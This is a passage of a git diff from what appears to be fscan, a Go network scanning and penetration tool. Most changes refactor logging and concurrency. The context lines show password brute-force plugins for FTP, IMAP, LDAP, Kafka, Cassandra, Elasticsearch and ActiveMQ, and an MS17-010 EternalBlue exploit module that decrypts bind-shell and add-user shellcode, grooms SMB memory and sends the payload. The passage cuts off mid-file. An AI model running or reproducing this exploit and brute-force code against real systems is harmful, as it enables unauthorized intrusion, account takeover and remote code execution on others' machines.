Common.LogSuccess(result) - + Common.LogSuccess(fmt.Sprintf("端口开放 %s", address)) respondingHosts <- address } @@ -168,30 +162,27 @@ func SynScan(ip string, port int, timeout int64) (bool, error) { sendConn, err := net.ListenPacket("ip4:tcp", "0.0.0.0") if err != nil { - return false, fmt.Errorf("创建发送套接字失败: %v", err) + return false, fmt.Errorf("发送套接字错误: %v", err) } defer sendConn.Close() rawConn, err := ipv4.NewRawConn(sendConn) if err != nil { - return false, fmt.Errorf("获取原始连接失败: %v", err) + return false, fmt.Errorf("原始连接错误: %v", err) } dstIP := net.ParseIP(ip) if dstIP == nil { - return false, fmt.Errorf("无效的IP地址: %s", ip) + return false, fmt.Errorf("IP地址无效: %s", ip) } - // 打开正确的网络接口 handle, err := pcap.OpenLive(ifName, 65536, true, pcap.BlockForever) if err != nil { - // 如果失败,尝试查找可用接口 ifaces, err := pcap.FindAllDevs() if err != nil { - return false, fmt.Errorf("无法找到网络接口: %v", err) + return false, fmt.Errorf("网络接口错误: %v", err) } - // 遍历查找可用接口 var found bool for _, iface := range ifaces { handle, err = pcap.OpenLive(iface.Name, 65536, true, pcap.BlockForever) @@ -202,7 +193,7 @@ func SynScan(ip string, port int, timeout int64) (bool, error) { } if !found { - return false, fmt.Errorf("无法打开任何网络接口") + return false, fmt.Errorf("未找到可用网络接口") } } defer handle.Close() @@ -210,9 +201,10 @@ func SynScan(ip string, port int, timeout int64) (bool, error) { srcPort := 12345 + port filter := fmt.Sprintf("tcp and src port %d and dst port %d", port, srcPort) if err := handle.SetBPFFilter(filter); err != nil { - return false, fmt.Errorf("设置过滤器失败: %v", err) + return false, fmt.Errorf("过滤器错误: %v", err) } + // TCP头部设置保持不变 tcpHeader := &ipv4.Header{ Version: 4, Len: 20, @@ -222,6 +214,7 @@ func SynScan(ip string, port int, timeout int64) (bool, error) { Dst: dstIP, } + // SYN包构造保持不变 synPacket := make([]byte, 20) binary.BigEndian.PutUint16(synPacket[0:2], uint16(srcPort)) binary.BigEndian.PutUint16(synPacket[2:4], uint16(port)) @@ -237,7 +230,7 @@ func SynScan(ip string, port int, timeout int64) (bool, error) { binary.BigEndian.PutUint16(synPacket[16:18], checksum) if err := rawConn.WriteTo(tcpHeader, synPacket, nil); err != nil { - return false, fmt.Errorf("发送SYN包失败: %v", err) + return false, fmt.Errorf("SYN包发送错误: %v", err) } packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) @@ -311,43 +304,6 @@ func calculateTCPChecksum(tcpHeader []byte, srcIP, dstIP net.IP) uint16 { return ^uint16(sum) } -func UDPScan(ip string, port int, timeout int64) (bool, error) { - // 构造端口字符串 - portStr := fmt.Sprintf("%d", port) - - // 配置nmap扫描 - scanner, err := nmap.NewScanner( - nmap.WithTargets(ip), - nmap.WithPorts(portStr), - nmap.WithUDPScan(), - nmap.WithTimingTemplate(nmap.TimingAggressive), - ) - if err != nil { - return false, fmt.Errorf("创建扫描器失败: %v", err) - } - - // 执行扫描 - result, warnings, err := scanner.Run() - if err != nil { - return false, fmt.Errorf("扫描执行失败: %v", err) - } - if warnings != nil { - log.Printf("扫描警告: %v", warnings) - } - - // 检查结果 - for _, host := range result.Hosts { - for _, p := range host.Ports { - if int(p.ID) == port && - (p.State.State == "open" || p.State.State == "open|filtered") { - return true, nil - } - } - } - - return false, nil -} - // 获取系统对应的接口名 func getInterfaceName() string { switch runtime.GOOS { diff --git a/Core/Scanner.go b/Core/Scanner.go index f85a84d..00b8e57 100644 --- a/Core/Scanner.go +++ b/Core/Scanner.go @@ -7,12 +7,12 @@ import ( "strconv" "strings" "sync" + "sync/atomic" ) // Scan 执行扫描主流程 func Scan(info Common.HostInfo) { - fmt.Println("[*] 开始信息扫描...") - + Common.LogInfo("开始信息扫描") Common.ParseScanMode(Common.ScanMode) ch := make(chan struct{}, Common.ThreadNum) @@ -28,7 +28,7 @@ func Scan(info Common.HostInfo) { // 初始化并解析目标 hosts, err := Common.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts) if err != nil { - fmt.Printf("[-] 解析主机错误: %v\n", err) + Common.LogError(fmt.Sprintf("解析主机错误: %v", err)) return } lib.Inithttp() @@ -42,50 +42,44 @@ func Scan(info Common.HostInfo) { func executeScan(hosts []string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { var targetInfos []Common.HostInfo - // 处理主机和端口扫描 if len(hosts) > 0 || len(Common.HostPort) > 0 { - // ICMP存活性检测 if (Common.DisablePing == false && len(hosts) > 1) || Common.IsICMPScan() { hosts = CheckLive(hosts, Common.UsePing) - fmt.Printf("[+] ICMP存活主机数量: %d\n", len(hosts)) + Common.LogInfo(fmt.Sprintf("存活主机数量: %d", len(hosts))) if Common.IsICMPScan() { return } } - // 获取存活端口 var alivePorts []string if Common.IsWebScan() { alivePorts = NoPortScan(hosts, Common.Ports) } else if len(hosts) > 0 { alivePorts = PortScan(hosts, Common.Ports, Common.Timeout) - fmt.Printf("[+] 存活端口数量: %d\n", len(alivePorts)) + Common.LogInfo(fmt.Sprintf("存活端口数量: %d", len(alivePorts))) if Common.IsPortScan() { return } } - // 处理自定义端口 if len(Common.HostPort) > 0 { alivePorts = append(alivePorts, Common.HostPort...) alivePorts = Common.RemoveDuplicate(alivePorts) Common.HostPort = nil - fmt.Printf("[+] 存活端口数量: %d\n", len(alivePorts)) + Common.LogInfo(fmt.Sprintf("存活端口数量: %d", len(alivePorts))) } targetInfos = prepareTargetInfos(alivePorts, info) } - // 准备URL扫描目标 for _, url := range Common.URLs { urlInfo := info urlInfo.Url = url targetInfos = append(targetInfos, urlInfo) } - // 执行扫描任务 if len(targetInfos) > 0 { - fmt.Println("[*] 开始漏洞扫描...") + Common.LogInfo("开始漏洞扫描") executeScans(targetInfos, ch, wg) } } @@ -96,7 +90,7 @@ func prepareTargetInfos(alivePorts []string, baseInfo Common.HostInfo) []Common. for _, targetIP := range alivePorts { hostParts := strings.Split(targetIP, ":") if len(hostParts) != 2 { - fmt.Printf("[-] 无效的目标地址格式: %s\n", targetIP) + Common.LogError(fmt.Sprintf("无效的目标地址格式: %s", targetIP)) continue } info := baseInfo @@ -112,54 +106,42 @@ func executeScans(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGro var pluginsToRun []string isSinglePlugin := false - // 获取要执行的插件列表 if plugins := Common.GetPluginsForMode(mode); plugins != nil { - // 预设模式下使用配置的插件组 pluginsToRun = plugins - fmt.Printf("[*] 正在加载插件组: %s\n", mode) + Common.LogInfo(fmt.Sprintf("加载插件组: %s", mode)) } else { - // 单插件模式 pluginsToRun = []string{mode} isSinglePlugin = true - fmt.Printf("[*] 正在加载单插件: %s\n", mode) + Common.LogInfo(fmt.Sprintf("使用单个插件: %s", mode)) } - // 统一处理所有目标和插件 for _, target := range targets { targetPort, _ := strconv.Atoi(target.Ports) for _, pluginName := range pluginsToRun { - // 获取插件信息 plugin, exists := Common.PluginManager[pluginName] if !exists { - fmt.Printf("[-] 插件 %s 不存在\n", pluginName) + Common.LogError(fmt.Sprintf("插件 %s 不存在", pluginName)) continue } - // 本地扫描模式的特殊处理 if Common.LocalScan { if len(plugin.Ports) == 0 { - fmt.Printf("[+] 载入插件: %s\n", pluginName) AddScan(pluginName, target, ch, wg) } continue } - // 单插件模式直接执行,不检查端口 if isSinglePlugin { - fmt.Printf("[+] 载入插件: %s\n", pluginName) AddScan(pluginName, target, ch, wg) continue } - // 预设模式下的常规处理 if len(plugin.Ports) > 0 { if plugin.HasPort(targetPort) { - fmt.Printf("[+] 载入插件: %s (端口: %d)\n", pluginName, targetPort) AddScan(pluginName, target, ch, wg) } } else { - fmt.Printf("[+] 载入插件: %s\n", pluginName) AddScan(pluginName, target, ch, wg) } } @@ -169,9 +151,11 @@ func executeScans(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGro // finishScan 完成扫描任务 func finishScan(wg *sync.WaitGroup) { wg.Wait() + // 先发送最后的成功消息 + Common.LogSuccess(fmt.Sprintf("扫描已完成: %v/%v", Common.End, Common.Num)) + // 等待日志处理完成后再关闭通道 Common.LogWG.Wait() close(Common.Results) - fmt.Printf("[+] 扫描已完成: %v/%v\n", Common.End, Common.Num) } // Mutex用于保护共享资源的并发访问 @@ -193,7 +177,7 @@ func AddScan(plugin string, info Common.HostInfo, ch *chan struct{}, wg *sync.Wa // 增加总任务数 Mutex.Lock() - Common.Num += 1 + atomic.AddInt64(&Common.Num, 1) Mutex.Unlock() // 执行扫描 @@ -201,7 +185,7 @@ func AddScan(plugin string, info Common.HostInfo, ch *chan struct{}, wg *sync.Wa // 增加已完成任务数 Mutex.Lock() - Common.End += 1 + atomic.AddInt64(&Common.End, 1) Mutex.Unlock() }() } @@ -210,20 +194,18 @@ func AddScan(plugin string, info Common.HostInfo, ch *chan struct{}, wg *sync.Wa func ScanFunc(name *string, info *Common.HostInfo) { defer func() { if err := recover(); err != nil { - fmt.Printf("[-] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err) + Common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err)) } }() - // 检查插件是否存在 plugin, exists := Common.PluginManager[*name] if !exists { - fmt.Printf("[*] 扫描类型 %v 无对应插件,已跳过\n", *name) + Common.LogInfo(fmt.Sprintf("扫描类型 %v 无对应插件,已跳过", *name)) return } - // 直接调用扫描函数 if err := plugin.ScanFunc(info); err != nil { - fmt.Printf("[-] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err) + Common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err)) } } diff --git a/Plugins/ActiveMQ.go b/Plugins/ActiveMQ.go index 7110199..0be756f 100644 --- a/Plugins/ActiveMQ.go +++ b/Plugins/ActiveMQ.go @@ -100,7 +100,7 @@ func ActiveMQScan(info *Common.HostInfo) (tmperr error) { } if err != nil { - errlog := fmt.Sprintf("[-] ActiveMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + errlog := fmt.Sprintf("ActiveMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) diff --git a/Plugins/Base.go b/Plugins/Base.go index be38f12..20fa91a 100644 --- a/Plugins/Base.go +++ b/Plugins/Base.go @@ -53,7 +53,7 @@ func AesEncrypt(orig string, key string) (string, error) { // 创建加密块,要求密钥长度必须为16/24/32字节 block, err := aes.NewCipher(keyBytes) if err != nil { - return "", fmt.Errorf("[-] 创建加密块失败: %v", err) + return "", fmt.Errorf("创建加密块失败: %v", err) } // 获取块大小并填充数据 @@ -76,7 +76,7 @@ func AesDecrypt(crypted string, key string) (string, error) { // base64解码 cryptedBytes, err := base64.StdEncoding.DecodeString(crypted) if err != nil { - return "", fmt.Errorf("[-] base64解码失败: %v", err) + return "", fmt.Errorf("base64解码失败: %v", err) } keyBytes := []byte(key) @@ -84,7 +84,7 @@ func AesDecrypt(crypted string, key string) (string, error) { // 创建解密块 block, err := aes.NewCipher(keyBytes) if err != nil { - return "", fmt.Errorf("[-] 创建解密块失败: %v", err) + return "", fmt.Errorf("创建解密块失败: %v", err) } // 创建CBC解密模式 @@ -98,7 +98,7 @@ func AesDecrypt(crypted string, key string) (string, error) { // 去除填充 origData, err = PKCS7UnPadding(origData) if err != nil { - return "", fmt.Errorf("[-] 去除PKCS7填充失败: %v", err) + return "", fmt.Errorf("去除PKCS7填充失败: %v", err) } return string(origData), nil @@ -115,12 +115,12 @@ func PKCS7Padding(data []byte, blockSize int) []byte { func PKCS7UnPadding(data []byte) ([]byte, error) { length := len(data) if length == 0 { - return nil, errors.New("[-] 数据长度为0") + return nil, errors.New("数据长度为0") } padding := int(data[length-1]) if padding > length { - return nil, errors.New("[-] 填充长度无效") + return nil, errors.New("填充长度无效") } return data[:length-padding], nil diff --git a/Plugins/Cassandra.go b/Plugins/Cassandra.go index efe6285..8501df6 100644 --- a/Plugins/Cassandra.go +++ b/Plugins/Cassandra.go @@ -98,7 +98,7 @@ func CassandraScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] Cassandra服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + errlog := fmt.Sprintf("Cassandra服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) @@ -172,7 +172,7 @@ func CassandraConn(info *Common.HostInfo, user string, pass string) (bool, error } } - result := fmt.Sprintf("[+] Cassandra服务 %v:%v ", host, port) + result := fmt.Sprintf("Cassandra服务 %v:%v ", host, port) if user != "" { result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass) } else { diff --git a/Plugins/Elasticsearch.go b/Plugins/Elasticsearch.go index a5a3371..db53a11 100644 --- a/Plugins/Elasticsearch.go +++ b/Plugins/Elasticsearch.go @@ -101,7 +101,7 @@ func ElasticScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] Elasticsearch服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + errlog := fmt.Sprintf("Elasticsearch服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) @@ -178,7 +178,7 @@ func ElasticConn(info *Common.HostInfo, user string, pass string) (bool, error) // 检查响应状态 if resp.StatusCode == 200 { - result := fmt.Sprintf("[+] Elasticsearch服务 %v:%v ", host, port) + result := fmt.Sprintf("Elasticsearch服务 %v:%v ", host, port) if user != "" { result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass) } else { diff --git a/Plugins/FTP.go b/Plugins/FTP.go index 3e4541c..9bd6cec 100644 --- a/Plugins/FTP.go +++ b/Plugins/FTP.go @@ -1,6 +1,7 @@ package Plugins import ( + "context" "fmt" "github.com/jlaffaye/ftp" "github.com/shadow1ng/fscan/Common" @@ -17,8 +18,10 @@ func FtpScan(info *Common.HostInfo) (tmperr error) { maxRetries := Common.MaxRetries threads := Common.BruteThreads - successChan := make(chan struct{}, 1) - defer close(successChan) + + // 创建带取消功能的context + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() // 先尝试匿名登录 for retryCount := 0; retryCount < maxRetries; retryCount++ { @@ -26,7 +29,7 @@ func FtpScan(info *Common.HostInfo) (tmperr error) { if flag && err == nil { return nil } - errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err) + errlog := fmt.Sprintf("ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err) Common.LogError(errlog) if err != nil && !strings.Contains(err.Error(), "Login incorrect") { @@ -40,36 +43,41 @@ func FtpScan(info *Common.HostInfo) (tmperr error) { break } - // 创建任务通道 taskChan := make(chan struct { user string pass string }, len(Common.Userdict["ftp"])*len(Common.Passwords)) + // 任务分发goroutine + go func() { + defer close(taskChan) + for _, user := range Common.Userdict["ftp"] { + for _, pass := range Common.Passwords { + select { + case <-ctx.Done(): + return + default: + pass = strings.Replace(pass, "{user}", user, -1) + taskChan <- struct { + user string + pass string + }{user, pass} + } + } + } + }() + + var wg sync.WaitGroup resultChan := make(chan error, threads) - // 生成所有用户名密码组合任务 - for _, user := range Common.Userdict["ftp"] { - for _, pass := range Common.Passwords { - pass = strings.Replace(pass, "{user}", user, -1) - taskChan <- struct { - user string - pass string - }{user, pass} - } - } - close(taskChan) - // 启动工作线程 - var wg sync.WaitGroup for i := 0; i < threads; i++ { wg.Add(1) go func() { defer wg.Done() for task := range taskChan { - // 检查是否已经成功 select { - case <-successChan: + case <-ctx.Done(): resultChan <- nil return default: @@ -77,88 +85,95 @@ func FtpScan(info *Common.HostInfo) (tmperr error) { // 重试循环 for retryCount := 0; retryCount < maxRetries; retryCount++ { - // 执行FTP连接 done := make(chan struct { success bool err error - }) + }, 1) + + connCtx, connCancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second) go func(user, pass string) { success, err := FtpConn(info, user, pass) - done <- struct { + select { + case <-connCtx.Done(): + case done <- struct { success bool err error - }{success, err} + }{success, err}: + } }(task.user, task.pass) - // 等待结果或超时 var err error select { + case <-ctx.Done(): + connCancel() + resultChan <- nil + return case result := <-done: err = result.err if result.success && err == nil { - select { - case successChan <- struct{}{}: - successLog := fmt.Sprintf("[+] FTP %v:%v %v %v", - info.Host, info.Ports, task.user, task.pass) - Common.LogSuccess(successLog) - default: - } + successLog := fmt.Sprintf("FTP %v:%v %v %v", + info.Host, info.Ports, task.user, task.pass) + Common.LogSuccess(successLog) + time.Sleep(100 * time.Millisecond) + cancel() // 取消所有操作 resultChan <- nil return } - case <-time.After(time.Duration(Common.Timeout) * time.Second): + case <-connCtx.Done(): err = fmt.Errorf("连接超时") } - // 处理错误情况 + connCancel() + if err != nil { - errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v", + select { + case <-ctx.Done(): + resultChan <- nil + return + default: + } + + errlog := fmt.Sprintf("ftp %v:%v %v %v %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) - // 对于登录失败的错误,直接继续下一个 if strings.Contains(err.Error(), "Login incorrect") { break } - // 特别处理连接数过多的情况 if strings.Contains(err.Error(), "too many connections") { time.Sleep(5 * time.Second) if retryCount < maxRetries-1 { - continue // 继续重试 + continue } } - // 检查是否需要重试 if retryErr := Common.CheckErrs(err); retryErr != nil { if retryCount == maxRetries-1 { - continue // 继续下一个密码,而不是返回 + continue } - continue // 继续重试 + continue } } - break // 如果不需要重试,跳出重试循环 + break } } resultChan <- nil }() } - // 等待所有线程完成 go func() { wg.Wait() close(resultChan) }() - // 检查结果 for err := range resultChan { if err != nil { tmperr = err - // 对于超时错误也继续执行 if !strings.Contains(err.Error(), "扫描超时") { if retryErr := Common.CheckErrs(err); retryErr != nil { - continue // 继续尝试,而不是返回 + continue } } } @@ -189,7 +204,7 @@ func FtpConn(info *Common.HostInfo, user string, pass string) (flag bool, err er } // 登录成功,获取目录信息 - result := fmt.Sprintf("[+] ftp %v:%v:%v %v", Host, Port, Username, Password) + result := fmt.Sprintf("ftp %v:%v:%v %v", Host, Port, Username, Password) dirs, err := conn.List("") if err == nil && len(dirs) > 0 { // 最多显示前6个目录 diff --git a/Plugins/FindNet.go b/Plugins/FindNet.go index 4ab9299..7b850bd 100644 --- a/Plugins/FindNet.go +++ b/Plugins/FindNet.go @@ -27,30 +27,30 @@ func FindnetScan(info *Common.HostInfo) error { target := fmt.Sprintf("%s:%v", info.Host, 135) conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second) if err != nil { - return fmt.Errorf("[-] 连接RPC端口失败: %v", err) + return fmt.Errorf("连接RPC端口失败: %v", err) } defer conn.Close() if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { - return fmt.Errorf("[-] 设置超时失败: %v", err) + return fmt.Errorf("设置超时失败: %v", err) } if _, err = conn.Write(bufferV1); err != nil { - return fmt.Errorf("[-] 发送RPC请求1失败: %v", err) + return fmt.Errorf("发送RPC请求1失败: %v", err) } reply := make([]byte, 4096) if _, err = conn.Read(reply); err != nil { - return fmt.Errorf("[-] 读取RPC响应1失败: %v", err) + return fmt.Errorf("读取RPC响应1失败: %v", err) } if _, err = conn.Write(bufferV2); err != nil { - return fmt.Errorf("[-] 发送RPC请求2失败: %v", err) + return fmt.Errorf("发送RPC请求2失败: %v", err) } n, err := conn.Read(reply) if err != nil || n < 42 { - return fmt.Errorf("[-] 读取RPC响应2失败: %v", err) + return fmt.Errorf("读取RPC响应2失败: %v", err) } text := reply[42:] @@ -64,7 +64,7 @@ func FindnetScan(info *Common.HostInfo) error { } if !found { - return fmt.Errorf("[-] 未找到有效的响应标记") + return fmt.Errorf("未找到有效的响应标记") } return read(text, info.Host) @@ -195,7 +195,7 @@ func read(text []byte, host string) error { // 输出IPv4地址 if len(ipv4Addrs) > 0 { - result += "\n [+] IPv4地址:" + result += "\n IPv4地址:" for _, addr := range ipv4Addrs { result += fmt.Sprintf("\n └─ %s", addr) } @@ -203,7 +203,7 @@ func read(text []byte, host string) error { // 输出IPv6地址 if len(ipv6Addrs) > 0 { - result += "\n [+] IPv6地址:" + result += "\n IPv6地址:" for _, addr := range ipv6Addrs { result += fmt.Sprintf("\n └─ %s", addr) } diff --git a/Plugins/IMAP.go b/Plugins/IMAP.go index f877d96..1f96a67 100644 --- a/Plugins/IMAP.go +++ b/Plugins/IMAP.go @@ -84,7 +84,7 @@ func IMAPScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] IMAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + errlog := fmt.Sprintf("IMAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) @@ -175,7 +175,7 @@ func tryIMAPAuth(conn net.Conn, host string, port string, user string, pass stri } if strings.Contains(response, "a001 OK") { - result := fmt.Sprintf("[+] IMAP服务 %v:%v 爆破成功 用户名: %v 密码: %v", + result := fmt.Sprintf("IMAP服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass) Common.LogSuccess(result) return true, nil diff --git a/Plugins/Kafka.go b/Plugins/Kafka.go index d4d4047..d5e254e 100644 --- a/Plugins/Kafka.go +++ b/Plugins/Kafka.go @@ -99,7 +99,7 @@ func KafkaScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] Kafka服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + errlog := fmt.Sprintf("Kafka服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) @@ -164,7 +164,7 @@ func KafkaConn(info *Common.HostInfo, user string, pass string) (bool, error) { consumer, err := sarama.NewConsumer(brokers, config) if err == nil { defer consumer.Close() - result := fmt.Sprintf("[+] Kafka服务 %v:%v ", host, port) + result := fmt.Sprintf("Kafka服务 %v:%v ", host, port) if user != "" { result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass) } else { @@ -178,7 +178,7 @@ func KafkaConn(info *Common.HostInfo, user string, pass string) (bool, error) { client, err := sarama.NewClient(brokers, config) if err == nil { defer client.Close() - result := fmt.Sprintf("[+] Kafka服务 %v:%v ", host, port) + result := fmt.Sprintf("Kafka服务 %v:%v ", host, port) if user != "" { result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass) } else { diff --git a/Plugins/LDAP.go b/Plugins/LDAP.go index 1a2e84f..7422a03 100644 --- a/Plugins/LDAP.go +++ b/Plugins/LDAP.go @@ -90,7 +90,7 @@ func LDAPScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] LDAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + errlog := fmt.Sprintf("LDAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) @@ -177,7 +177,7 @@ func LDAPConn(info *Common.HostInfo, user string, pass string) (bool, error) { } // 记录成功结果 - result := fmt.Sprintf("[+] LDAP服务 %v:%v ", host, port) + result := fmt.Sprintf("LDAP服务 %v:%v ", host, port) if user != "" { result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass) } else { diff --git a/Plugins/MS17010-Exp.go b/Plugins/MS17010-Exp.go index 3f1d624..b48f329 100644 --- a/Plugins/MS17010-Exp.go +++ b/Plugins/MS17010-Exp.go @@ -26,7 +26,7 @@ func MS17010EXP(info *Common.HostInfo) { var err error sc, err = AesDecrypt(sc_enc, key) if err != nil { - Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密bind shellcode失败: %v", info.Host, err)) + Common.LogError(fmt.Sprintf("%s MS17-010 解密bind shellcode失败: %v", info.Host, err)) return } @@ -40,7 +40,7 @@ func MS17010EXP(info *Common.HostInfo) { var err error sc, err = AesDecrypt(sc_enc, key) if err != nil { - Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密add shellcode失败: %v", info.Host, err)) + Common.LogError(fmt.Sprintf("%s MS17-010 解密add shellcode失败: %v", info.Host, err)) return } @@ -50,7 +50,7 @@ func MS17010EXP(info *Common.HostInfo) { var err error sc, err = AesDecrypt(sc_enc, key) if err != nil { - Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密guest shellcode失败: %v", info.Host, err)) + Common.LogError(fmt.Sprintf("%s MS17-010 解密guest shellcode失败: %v", info.Host, err)) return } @@ -59,7 +59,7 @@ func MS17010EXP(info *Common.HostInfo) { if strings.Contains(Common.Shellcode, "file:") { read, err := ioutil.ReadFile(Common.Shellcode[5:]) if err != nil { - Common.LogError(fmt.Sprintf("[-] MS17010读取Shellcode文件 %v 失败: %v", Common.Shellcode, err)) + Common.LogError(fmt.Sprintf("MS17010读取Shellcode文件 %v 失败: %v", Common.Shellcode, err)) return } sc = fmt.Sprintf("%x", read) @@ -70,25 +70,25 @@ func MS17010EXP(info *Common.HostInfo) { // 验证shellcode有效性 if len(sc) < 20 { - fmt.Println("[-] 无效的Shellcode") + fmt.Println("无效的Shellcode") return } // 解码shellcode sc1, err := hex.DecodeString(sc) if err != nil { - Common.LogError(fmt.Sprintf("[-] %s MS17-010 Shellcode解码失败: %v", info.Host, err)) + Common.LogError(fmt.Sprintf("%s MS17-010 Shellcode解码失败: %v", info.Host, err)) return } // 执行EternalBlue漏洞利用 err = eternalBlue(address, 12, 12, sc1) if err != nil { - Common.LogError(fmt.Sprintf("[-] %s MS17-010漏洞利用失败: %v", info.Host, err)) + Common.LogError(fmt.Sprintf("%s MS17-010漏洞利用失败: %v", info.Host, err)) return } - Common.LogSuccess(fmt.Sprintf("[*] %s\tMS17-010\t漏洞利用完成", info.Host)) + Common.LogSuccess(fmt.Sprintf("%s\tMS17-010\t漏洞利用完成", info.Host)) } // eternalBlue 执行EternalBlue漏洞利用 @@ -97,7 +97,7 @@ func eternalBlue(address string, initialGrooms, maxAttempts int, sc []byte) erro const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16长度 scLen := len(sc) if scLen > maxscSize { - return fmt.Errorf("[-] Shellcode大小超出限制: %d > %d (超出 %d 字节)", + return fmt.Errorf("Shellcode大小超出限制: %d > %d (超出 %d 字节)", scLen, maxscSize, scLen-maxscSize) } @@ -124,42 +124,42 @@ func exploit(address string, grooms int, payload []byte) error { // 建立SMB1匿名IPC连接 header, conn, err := smb1AnonymousConnectIPC(address) if err != nil { - return fmt.Errorf("[-] 建立SMB连接失败: %v", err) + return fmt.Errorf("建立SMB连接失败: %v", err) } defer func() { _ = conn.Close() }() // 发送SMB1大缓冲区数据 if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil { - return fmt.Errorf("[-] 设置读取超时失败: %v", err) + return fmt.Errorf("设置读取超时失败: %v", err) } if err = smb1LargeBuffer(conn, header); err != nil { - return fmt.Errorf("[-] 发送大缓冲区失败: %v", err) + return fmt.Errorf("发送大缓冲区失败: %v", err) } // 初始化内存喷射线程 fhsConn, err := smb1FreeHole(address, true) if err != nil { - return fmt.Errorf("[-] 初始化内存喷射失败: %v", err) + return fmt.Errorf("初始化内存喷射失败: %v", err) } defer func() { _ = fhsConn.Close() }() // 第一轮内存喷射 groomConns, err := smb2Grooms(address, grooms) if err != nil { - return fmt.Errorf("[-] 第一轮内存喷射失败: %v", err) + return fmt.Errorf("第一轮内存喷射失败: %v", err) } // 释放内存并执行第二轮喷射 fhfConn, err := smb1FreeHole(address, false) if err != nil { - return fmt.Errorf("[-] 释放内存失败: %v", err) + return fmt.Errorf("释放内存失败: %v", err) } _ = fhsConn.Close() // 执行第二轮内存喷射 groomConns2, err := smb2Grooms(address, 6) if err != nil { - return fmt.Errorf("[-] 第二轮内存喷射失败: %v", err) + return fmt.Errorf("第二轮内存喷射失败: %v", err) } _ = fhfConn.Close() @@ -173,42 +173,42 @@ func exploit(address string, grooms int, payload []byte) error { // 发送最终漏洞利用数据包 if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil { - return fmt.Errorf("[-] 设置读取超时失败: %v", err) + return fmt.Errorf("设置读取超时失败: %v", err) } finalPacket := makeSMB1Trans2ExploitPacket(header.TreeID, header.UserID, 15, "exploit") if _, err = conn.Write(finalPacket); err != nil { - return fmt.Errorf("[-] 发送漏洞利用数据包失败: %v", err) + return fmt.Errorf("发送漏洞利用数据包失败: %v", err) } // 获取响应并检查状态 raw, _, err := smb1GetResponse(conn) if err != nil { - return fmt.Errorf("[-] 获取漏洞利用响应失败: %v", err) + return fmt.Errorf("获取漏洞利用响应失败: %v", err) } // 提取NT状态码 ntStatus := []byte{raw[8], raw[7], raw[6], raw[5]} - Common.LogSuccess(fmt.Sprintf("[+] NT Status: 0x%08X", ntStatus)) + Common.LogSuccess(fmt.Sprintf("NT Status: 0x%08X", ntStatus)) // 发送payload - Common.LogSuccess("[*] 开始发送Payload") + Common.LogSuccess("开始发送Payload") body := makeSMB2Body(payload) // 分段发送payload for _, conn := range groomConns { if _, err = conn.Write(body[:2920]); err != nil { - return fmt.Errorf("[-] 发送Payload第一段失败: %v", err) + return fmt.Errorf("发送Payload第一段失败: %v", err) } } for _, conn := range groomConns { if _, err = conn.Write(body[2920:4073]); err != nil { - return fmt.Errorf("[-] 发送Payload第二段失败: %v", err) + return fmt.Errorf("发送Payload第二段失败: %v", err) } } - Common.LogSuccess("[+] Payload发送完成") + Common.LogSuccess("Payload发送完成") return nil } @@ -236,7 +236,7 @@ func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) { // 